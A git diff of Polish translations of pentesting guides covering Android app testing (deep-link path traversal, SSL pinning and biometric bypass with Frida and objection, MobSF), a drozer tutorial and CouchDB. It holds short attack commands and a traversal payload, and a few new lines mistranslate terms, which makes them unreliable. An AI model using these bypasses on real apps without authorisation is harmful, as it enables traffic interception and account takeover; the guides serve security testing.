 Musisz również sprawdzić, czy jakikolwiek deep link używa parametru wewnątrz ścieżki URL, takiego jak: `https://api.example.com/v1/users/{username}`, w takim przypadku możesz wymusić przejście przez ścieżkę, uzyskując dostęp do czegoś takiego jak: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
-Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz zmodyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
+Zauważ, że jeśli znajdziesz poprawne punkty końcowe w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **przejęcie konta** (jeśli możesz modyfikować dane użytkowników bez tokena CSRF, a podatny punkt końcowy używał poprawnej metody) i inne podatności. Więcej [informacji na ten temat tutaj](http://dphoeniixx.com/2020/12/13-2/).
 
 **Więcej przykładów**
 
-Ciekawy raport o bug bounty [tutaj](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_).
+Ciekawe zgłoszenie bug bounty dotyczące linków (_/.well-known/assetlinks.json_).
 
-### Wykrywanie i weryfikacja warstwy transportowej
+### Inspekcja i weryfikacja warstwy transportowej
 
-- **Certyfikaty nie zawsze są odpowiednio sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
-- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
+- **Certyfikaty nie zawsze są poprawnie sprawdzane** przez aplikacje Android. Często te aplikacje ignorują ostrzeżenia i akceptują certyfikaty samopodpisane lub, w niektórych przypadkach, wracają do używania połączeń HTTP.
+- **Negocjacje podczas handshake SSL/TLS są czasami słabe**, stosując niebezpieczne zestawy szyfrów. Ta podatność sprawia, że połączenie jest podatne na ataki typu man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych.
 - **Wycieki prywatnych informacji** są ryzykiem, gdy aplikacje uwierzytelniają się za pomocą bezpiecznych kanałów, ale następnie komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne czy dane użytkowników, przed przechwyceniem przez złośliwe podmioty.
 
 #### Weryfikacja certyfikatu
@@ -403,28 +403,28 @@ SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfika
 
 #### Inspekcja ruchu
 
-Aby przeprowadzić inspekcję ruchu HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu, zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać przewodnik dotyczący instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
+Aby zainstalować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu, zaszyfrowany ruch może nie być widoczny przez proxy. Aby uzyskać przewodnik dotyczący instalacji niestandardowego certyfikatu CA, [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
 
-Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy dla inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**odwołaj się do tego samouczka**](make-apk-accept-ca-certificate.md).
+Aplikacje celujące w **API Level 24 i wyżej** wymagają modyfikacji konfiguracji bezpieczeństwa sieci, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy do inspekcji zaszyfrowanego ruchu. Aby uzyskać instrukcje dotyczące modyfikacji konfiguracji bezpieczeństwa sieci, [**zobacz ten samouczek**](make-apk-accept-ca-certificate.md).
 
 #### Obejście SSL Pinning
 
-Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby przeprowadzić inspekcję ruchu HTTPS. Istnieje wiele metod w tym celu:
+Gdy SSL Pinning jest wdrożone, konieczne staje się jego obejście, aby zainstalować ruch HTTPS. Istnieje wiele metod w tym celu:
 
 - Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową, co nie zawsze działa.
-- Możesz użyć **Frida** (omówione poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
+- Możesz użyć **Frida** (omówionej poniżej), aby obejść tę ochronę. Oto przewodnik, jak używać Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
 - Możesz także spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
 - Możesz również spróbować **automatycznie obejść SSL Pinning** za pomocą **analizy dynamicznej MobSF** (wyjaśnionej poniżej)
 - Jeśli nadal uważasz, że istnieje jakiś ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 
 #### Szukanie powszechnych podatności w sieci
 
-Ważne jest również, aby szukać powszechnych podatności w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
+Ważne jest również, aby szukać powszechnych podatności w sieci w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego podsumowania, ale są szeroko omówione w innych miejscach.
 
 ### Frida
 
 [Frida](https://www.frida.re) to zestaw narzędzi do dynamicznej instrumentacji dla programistów, inżynierów odwrotnych i badaczy bezpieczeństwa.\
-**Możesz uzyskać dostęp do działającej aplikacji i podpiąć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\
+**Możesz uzyskać dostęp do działającej aplikacji i podłączyć metody w czasie rzeczywistym, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\
 Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak używać Frida.
 
 - Naucz się, jak używać Frida: [**Samouczek Frida**](frida-tutorial/index.html)
@@ -435,7 +435,7 @@ Jeśli chcesz przeprowadzić pentesting aplikacji Android, musisz wiedzieć, jak
 
 ### **Zrzut pamięci - Fridump**
 
-Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, których nie powinna przechowywać, takie jak hasła lub mnemoniki.
+Sprawdź, czy aplikacja przechowuje wrażliwe informacje w pamięci, które nie powinny być przechowywane, takie jak hasła lub mnemoniki.
 
 Używając [**Fridump3**](https://github.com/rootbsd/fridump3), możesz zrzucić pamięć aplikacji za pomocą:
 ```bash
@@ -460,9 +460,9 @@ Aby uzyskać dostęp do danych wewnątrz keystore, możesz użyć tego skryptu F
 ```bash
 frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 ```
-### **Ominięcie odcisku palca/biometrii**
+### **Ominięcie odcisków palców/biometrii**
 
-Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisku palca**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
+Używając poniższego skryptu Frida, możliwe jest **ominięcie uwierzytelniania odcisków palców**, które aplikacje Android mogą stosować w celu **ochrony niektórych wrażliwych obszarów:**
 ```bash
 frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f 
 ```
@@ -474,7 +474,7 @@ Jednakże, jeśli ten zrzut ekranu zawiera **wrażliwe informacje**, ktoś z dos
 
 Zrzuty ekranu są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`**
 
-Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych ekranach.
+Android zapewnia sposób na **zapobieganie przechwytywaniu zrzutów ekranu, ustawiając parametr układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się w zrzutach ekranu lub wyświetlaniu na niezabezpieczonych wyświetlaczach.
 ```bash
 getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
@@ -491,19 +491,19 @@ Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportow
 ### Kluczowe Wnioski
 
 - **Wstrzykiwanie Intencji** jest podobne do problemu Open Redirect w sieci.
-- Eksploity polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
+- Wykorzystania polegają na przekazywaniu obiektów `Intent` jako dodatkowych, które mogą być przekierowywane do wykonywania niebezpiecznych operacji.
 - Może to ujawniać nieeksportowane komponenty i dostawców treści atakującym.
 - Konwersja URL na `Intent` w `WebView` może ułatwiać niezamierzone działania.
 
-### Wstrzyknięcia po stronie klienta Androida i inne
+### Wstrzyknięcia po stronie klienta Android i inne
 
-Prawdopodobnie znasz ten rodzaj podatności z sieci. Musisz być szczególnie ostrożny z tymi podatnościami w aplikacji Android:
+Prawdopodobnie znasz ten rodzaj luk z sieci. Musisz być szczególnie ostrożny z tymi lukami w aplikacji Android:
 
 - **SQL Injection:** Przy obsłudze dynamicznych zapytań lub dostawców treści upewnij się, że używasz zapytań parametryzowanych.
-- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebView (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
-- **Inkluzja lokalnych plików:** WebView powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
-- **Wieczne ciasteczka**: W kilku przypadkach, gdy aplikacja androidowa kończy sesję, ciastko nie jest unieważniane lub może być nawet zapisywane na dysku.
-- [**Bezpieczna flaga** w ciastkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
+- **Wstrzykiwanie JavaScript (XSS):** Sprawdź, czy obsługa JavaScript i wtyczek jest wyłączona dla wszelkich WebViews (domyślnie wyłączona). [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
+- **Inkluzja lokalnych plików:** WebViews powinny mieć wyłączony dostęp do systemu plików (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [Więcej informacji tutaj](webview-attacks.md#javascript-enabled).
+- **Eternal cookies**: W wielu przypadkach, gdy aplikacja android kończy sesję, ciasteczko nie jest unieważniane lub może być nawet zapisywane na dysku.
+- [**Secure Flag** w ciasteczkach](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
 ---
 
@@ -521,7 +521,7 @@ docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 ```
 Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\
-Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do głównego folderu aplikacji, wybierz wszystko i stwórz plik ZIP), również będzie mogło to analizować.
+Ponadto, jeśli stworzysz plik **ZIP** z kodem źródłowym aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, wybierz wszystko i stwórz plik ZIP), będzie w stanie również go przeanalizować.
 
 MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **VirusTotal** (będziesz musiał ustawić swój klucz API w _MobSF/settings.py_ i włączyć go: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy **hash** zostanie **przesłany** zamiast pliku.
 
@@ -532,9 +532,9 @@ MobSF pozwala również na **diff/Compare** analizy oraz na integrację z **Viru
 
 - **Zrzucić dane aplikacji** (URL-e, logi, schowek, zrzuty ekranu wykonane przez Ciebie, zrzuty ekranu wykonane przez "**Exported Activity Tester**", e-maile, bazy danych SQLite, pliki XML i inne utworzone pliki). Wszystko to odbywa się automatycznie, z wyjątkiem zrzutów ekranu, musisz nacisnąć, gdy chcesz zrzut ekranu lub musisz nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty ekranu wszystkich eksportowanych aktywności.
 - Przechwytywać **ruch HTTPS**
-- Używać **Frida** do uzyskiwania **informacji w czasie rzeczywistym**
+- Używać **Frida** do uzyskania **informacji w czasie rzeczywistym**
 
-Od wersji Android **> 5**, **automatycznie uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
+Od wersji Android **> 5**, automatycznie **uruchomi Frida** i ustawi globalne ustawienia **proxy** do **przechwytywania** ruchu. Będzie przechwytywać ruch tylko z testowanej aplikacji.
 
 **Frida**
 
@@ -542,7 +542,7 @@ Domyślnie będzie również używać niektórych skryptów Frida do **obejścia
 MobSF może również **wywoływać eksportowane aktywności**, robić **zrzuty ekranu** z nich i **zapisywać** je do raportu.
 
 Aby **rozpocząć** testowanie dynamiczne, naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida i "**Live API Monitor**", aby zobaczyć wszystkie wywołania do podłączonych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\
-MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wstępnie napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
+MobSF pozwala również na załadowanie własnych **skryptów Frida** (aby wysłać wyniki swoich skryptów Frida do MobSF, użyj funkcji `send()`). Ma również **kilka wcześniej napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), wystarczy **je wybrać**, nacisnąć "**Load**" i nacisnąć "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**").
 
 ![](<../../images/image (419).png>)
 
@@ -559,7 +559,7 @@ Gdy wybierzesz moduł pomocniczy, który chcesz użyć, musisz nacisnąć "**Sta
 
 **Shell**
 
-Mobsf oferuje również powłokę z niektórymi **adb** komendami, **komendami MobSF** i powszechnymi **komendami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące komendy:
+Mobsf oferuje również powłokę z niektórymi poleceniami **adb**, **komendami MobSF** i powszechnymi **poleceniami powłoki** na dole strony analizy dynamicznej. Niektóre interesujące polecenia:
 ```bash
 help
 shell ls
@@ -570,7 +570,7 @@ receivers
 ```
 **Narzędzia HTTP**
 
-Gdy ruch http jest przechwytywany, możesz zobaczyć brzydki widok przechwyconego ruchu na "**HTTP(S) Traffic**" na dole lub ładniejszy widok w "**Start HTTPTools**" na zielonym przycisku. Z drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxy** takich jak Burp lub Owasp ZAP.\
+Gdy ruch http jest przechwytywany, możesz zobaczyć brzydki widok przechwyconego ruchu na "**HTTP(S) Traffic**" na dole lub ładniejszy widok w zielonym przycisku "**Start HTTPTools**". Z drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxy** takich jak Burp lub Owasp ZAP.\
 Aby to zrobić, _włącz Burp -->_ _wyłącz Intercept --> w MobSB HTTPTools wybierz żądanie_ --> naciśnij "**Send to Fuzzer**" --> _wybierz adres proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
 Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API Fuzzer**", aby **fuzzować żądania http** i szukać luk.
@@ -585,7 +585,7 @@ Po zakończeniu analizy dynamicznej z MobSF możesz nacisnąć "**Start Web API
 ### Wspomagana analiza dynamiczna z Inspeckage
 
 Możesz pobrać narzędzie z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
-To narzędzie użyje kilku **Hooków**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
+To narzędzie użyje kilku **Hooks**, aby poinformować cię **co się dzieje w aplikacji** podczas przeprowadzania **analizy dynamicznej**.
 
 ### [Yaazhini](https://www.vegabird.com/yaazhini/)
 
@@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
 
 SUPER to aplikacja działająca w wierszu poleceń, która może być używana w systemach Windows, MacOS X i Linux, analizująca pliki _.apk_ w poszukiwaniu luk. Robi to, dekompresując APK i stosując szereg reguł w celu wykrycia tych luk.
 
-Wszystkie reguły są skoncentrowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
+Wszystkie reguły są zawarte w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebują.
 
 Pobierz najnowsze pliki binarne z [strony pobierania](https://superanalyzer.rocks/download.html)
 ```
@@ -627,17 +627,17 @@ super-analyzer {apk_file}
 
 ![](<../../images/image (297).png>)
 
-StaCoAn to **narzędzie wieloplatformowe**, które wspomaga programistów, łowców błędów i etycznych hakerów w przeprowadzaniu [analizy statycznej kodu](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych.
+StaCoAn to **narzędzie wieloplatformowe**, które pomaga deweloperom, łowcom błędów i etycznym hakerom w przeprowadzaniu [analizy statycznej kodu](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych.
 
-Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
+Koncepcja polega na tym, że przeciągasz i upuszczasz plik swojej aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje wizualny i przenośny raport dla Ciebie. Możesz dostosować ustawienia i listy słów, aby uzyskać spersonalizowane doświadczenie.
 
-Pobierz [najnowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
+Pobierz [najowszą wersję](https://github.com/vincentcox/StaCoAn/releases):
 ```
 ./stacoan
 ```
 ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
-AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hackerom znaleźć potencjalne luki w zabezpieczeniach aplikacji Android.\
+AndroBugs Framework to system analizy podatności Android, który pomaga deweloperom lub hakerom znaleźć potencjalne luki w zabezpieczeniach aplikacji na Androida.\
 [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 ```
 python androbugs.py -f [APK file]
@@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ![](<../../images/image (595).png>)
 
-**MARA** to **M**obile **A**pplication **R**everse engineering i **A**nalysis Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
+**MARA** to **M**obile **A**pplication **R**everse engineering i **A**naliza Framework. Jest to narzędzie, które łączy powszechnie używane narzędzia do inżynierii wstecznej i analizy aplikacji mobilnych, aby wspierać testowanie aplikacji mobilnych w kontekście zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania i uczynienie go bardziej przyjaznym dla deweloperów aplikacji mobilnych oraz specjalistów ds. bezpieczeństwa.
 
 Może:
 
@@ -678,9 +678,9 @@ Zauważ, że w zależności od usługi i konfiguracji, której używasz do obfus
 
 ### [ProGuard]()
 
-Z [Wikipedia](): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskowało kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
+Z [Wikipedia](): **ProGuard** to narzędzie wiersza poleceń typu open source, które zmniejsza, optymalizuje i obfuskacje kod Java. Potrafi optymalizować bajty kodu oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest oprogramowaniem darmowym i jest dystrybuowane na licencji GNU General Public License, wersja 2.
 
-ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie release.
+ProGuard jest dystrybuowane jako część Android SDK i działa podczas budowania aplikacji w trybie wydania.
 
 ### [DexGuard](https://www.guardsquare.com/dexguard)
 
@@ -702,11 +702,11 @@ Możesz przesłać obfuskowane APK na ich platformę.
 
 ### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
 
-To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach androidowych i deobfuskacji kodu aplikacji androidowych. Używa publicznego API Gemini od Google'a.
+To narzędzie LLM do znajdowania potencjalnych luk w zabezpieczeniach w aplikacjach android i deobfuskacji kodu aplikacji android. Używa publicznego API Gemini od Google'a.
 
 ### [Simplify](https://github.com/CalebFenton/simplify)
 
-To **ogólny deobfuskator androidowy.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
+To **ogólny deobfuskator androida.** Simplify **wirtualnie wykonuje aplikację**, aby zrozumieć jej zachowanie, a następnie **stara się zoptymalizować kod**, aby działał identycznie, ale był łatwiejszy do zrozumienia dla człowieka. Każdy typ optymalizacji jest prosty i ogólny, więc nie ma znaczenia, jaki konkretny typ obfuskacji jest używany.
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 
diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
index c43536dde..7b223867a 100644
--- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
@@ -13,7 +13,7 @@
 
 ## Instalacja
 
-Zainstaluj Drozer Client na swoim hoście. Pobierz go z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases).
+Zainstaluj klienta Drozer na swoim hoście. Pobierz go z [najnowszych wydań](https://github.com/mwrlabs/drozer/releases).
 ```bash
 pip install drozer-2.4.4-py2-none-any.whl
 pip install twisted
@@ -39,20 +39,20 @@ drozer console connect
 ```
 ## Ciekawe Komendy
 
-| **Komendy**     | **Opis**                                                                                                                                               |
-| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| **Help MODULE** | Pokazuje pomoc wybranego modułu                                                                                                                     |
-| **list**        | Pokazuje listę wszystkich modułów drozer, które można wykonać w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień.            |
-| **shell**       | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta.                                                                             |
-| **clean**       | Usuwa tymczasowe pliki przechowywane przez drozer na urządzeniu z Androidem.                                                                         |
-| **load**        | Ładuje plik zawierający komendy drozer i wykonuje je w kolejności.                                                                                   |
-| **module**      | Znajduje i instaluje dodatkowe moduły drozer z Internetu.                                                                                             |
-| **unset**       | Usuwa nazwaną zmienną, którą drozer przekazuje do wszelkich powłok Linux, które uruchamia.                                                           |
-| **set**         | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszelkich powłok Linux uruchamianych przez drozer.             |
-| **shell**       | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta                                                                               |
+| **Komendy**     | **Opis**                                                                                                                                              |
+| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Help MODULE** | Pokazuje pomoc wybranego modułu                                                                                                                    |
+| **list**        | Pokazuje listę wszystkich modułów drozer, które można wykonać w bieżącej sesji. Ukrywa moduły, do których nie masz odpowiednich uprawnień.          |
+| **shell**       | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta.                                                                           |
+| **clean**       | Usuwa tymczasowe pliki przechowywane przez drozer na urządzeniu z Androidem.                                                                       |
+| **load**        | Ładuje plik zawierający polecenia drozer i wykonuje je w kolejności.                                                                               |
+| **module**      | Znajduje i instaluje dodatkowe moduły drozer z Internetu.                                                                                          |
+| **unset**       | Usuwa nazwaną zmienną, którą drozer przekazuje do wszelkich powłok Linux, które uruchamia.                                                         |
+| **set**         | Przechowuje wartość w zmiennej, która zostanie przekazana jako zmienna środowiskowa do wszelkich powłok Linux uruchamianych przez drozer.           |
+| **shell**       | Uruchamia interaktywną powłokę Linux na urządzeniu, w kontekście Agenta                                                                            |
 | **run MODULE**  | Wykonuje moduł drozer                                                                                                                                 |
-| **exploit**     | Drozer może tworzyć exploity do wykonania na urządzeniu. `drozer exploit list`                                                                        |
-| **payload**     | Exploity potrzebują ładunku. `drozer payload list`                                                                                                    |
+| **exploit**     | Drozer może tworzyć exploity do wykonania na urządzeniu. `drozer exploit list`                                                                     |
+| **payload**     | Exploity potrzebują ładunku. `drozer payload list`                                                                                                 |
 
 ### Pakiet
 
@@ -95,8 +95,8 @@ Attack Surface:
 2 services exported
 is debuggable
 ```
-- **Aktywności**: Może uda ci się uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna uniemożliwić jej uruchomienie.
-- **Dostawcy treści**: Może uda ci się uzyskać dostęp do prywatnych danych lub wykorzystać jakąś lukę (SQL Injection lub Path Traversal).
+- **Aktywności**: Może możesz uruchomić aktywność i obejść jakiś rodzaj autoryzacji, która powinna uniemożliwić jej uruchomienie.
+- **Dostawcy treści**: Może możesz uzyskać dostęp do prywatnych danych lub wykorzystać jakąś lukę (SQL Injection lub Path Traversal).
 - **Usługi**:
 - **jest debugowalny**: [Dowiedz się więcej](#is-debuggeable)
 
@@ -138,7 +138,7 @@ Eksportowana usługa jest zadeklarowana w pliku Manifest.xml:
 ```html
 
 ```
-W kodzie **sprawdź** funkcję **`handleMessage`**, która **otrzyma** **wiadomość**:
+W kodzie **sprawdź** funkcję **`handleMessage`**, która **odbierze** **wiadomość**:
 
 ![](<../../../images/image (82).png>)
 
@@ -216,7 +216,7 @@ app.broadcast.sniff         Register a broadcast receiver that can sniff particu
 ```
 #### Wyślij wiadomość
 
-W tym przykładzie, wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, możesz **wysłać dowolny SMS** do dowolnego niepremium odbiorcy **bez pytania** użytkownika o pozwolenie.
+W tym przykładzie, wykorzystując [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, możesz **wysłać dowolny SMS** do dowolnego niepremium miejsca **bez pytania** użytkownika o pozwolenie.
 
 ![](<../../../images/image (415).png>)
 
diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md
index 199f2a945..118716470 100644
--- a/src/network-services-pentesting/5984-pentesting-couchdb.md
+++ b/src/network-services-pentesting/5984-pentesting-couchdb.md
@@ -6,7 +6,7 @@
 
 **CouchDB** to wszechstronna i potężna **baza danych zorientowana na dokumenty**, która organizuje dane za pomocą struktury **mapy klucz-wartość** w każdym **dokumencie**. Pola w dokumencie mogą być reprezentowane jako **pary klucz/wartość, listy lub mapy**, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.
 
-Każdemu **dokumentowi** przechowywanemu w CouchDB przypisywany jest **unikalny identyfikator** (`_id`) na poziomie dokumentu. Dodatkowo, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje **numer rewizji** (`_rev`). Ten numer rewizji umożliwia efektywne **śledzenie i zarządzanie zmianami**, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
+Każdemu **dokumentowi** przechowywanemu w CouchDB przypisany jest **unikalny identyfikator** (`_id`) na poziomie dokumentu. Dodatkowo, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje **numer rewizji** (`_rev`). Ten numer rewizji umożliwia efektywne **śledzenie i zarządzanie zmianami**, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
 
 **Domyślny port:** 5984(http), 6984(https)
 ```
